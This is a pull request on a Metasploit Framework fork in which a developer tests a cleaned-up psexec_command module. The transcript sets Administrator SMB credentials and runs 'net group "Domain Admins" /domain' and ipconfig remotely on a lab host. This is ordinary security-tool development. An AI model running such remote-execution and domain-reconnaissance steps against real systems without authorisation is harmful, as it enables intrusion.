R3dy/metasploit-framework — pull request #1 by jvazquez-r7 (2012-11-23 10:48:53+00:00)
Title: Psexec command Clenaup

Hi R3dy,

I've tried a final module cleanup of the module by myself of:

https://github.com/rapid7/metasploit-framework/pull/1020

Could you check if it works also for you?

If it works for you just land it into your R3dy/command branch and the original pull request https://github.com/rapid7/metasploit-framework/pull/1020 will be automatic updated and we'll be able to merge it! Let me know if you've any doubts about the process or my changes.

My test (Please , note that I've changed the module filname, now it's psexec_command!!!):

msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(psexec_command) > set RHOSTS 192.168.1.137
RHOSTS => 192.168.1.137
msf auxiliary(psexec_command) > set SMBPass juan1234.
SMBPass => juan1234.
msf auxiliary(psexec_command) > set SMBDomain MSF_WORK111
SMBDomain => MSF_WORK111
msf auxiliary(psexec_command) > set SMBUser Administrator
SMBUser => Administrator
msf auxiliary(psexec_command) > set SMBDomain MSF_WORK111
SMBDomain => MSF_WORK111
msf auxiliary(psexec_command) > show options

Module options (auxiliary/admin/smb/psexec_command):

Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host
RHOSTS 192.168.1.137 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SMBDomain MSF_WORK111 no The Windows domain to use for authentication
SMBPass juan1234. no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(psexec_command) > reload
[*] Reloading module...
msf auxiliary(psexec_command) > run

[*] Executing your command on host: 192.168.1.137
[+] Command completed successfuly! Output from: 192.168.1.137
The request will be processed at a domain controller for domain msftest.local.

[*] Executing cleanup on host: 192.168.1.137
[-] 192.168.1.137 - Unable to cleanup. Need to manually remove \WINDOWS\Temp\zpqpCrOyPbCMbDaG.txt and %WINDIR%\Temp\lyCTorzsRITAEHvO.bat from the target.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(psexec_command) > set COMMAND ipconfig
COMMAND => ipconfig
msf auxiliary(psexec_command) > run

[*] Executing your command on host: 192.168.1.137
[+] Command completed successfuly! Output from: 192.168.1.137

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.137
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Bluetooth Network Connection:

Media State . . . . . . . . . . . : Media disconnected

[*] Executing cleanup on host: 192.168.1.137
[*] 192.168.1.137 - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(psexec_command) >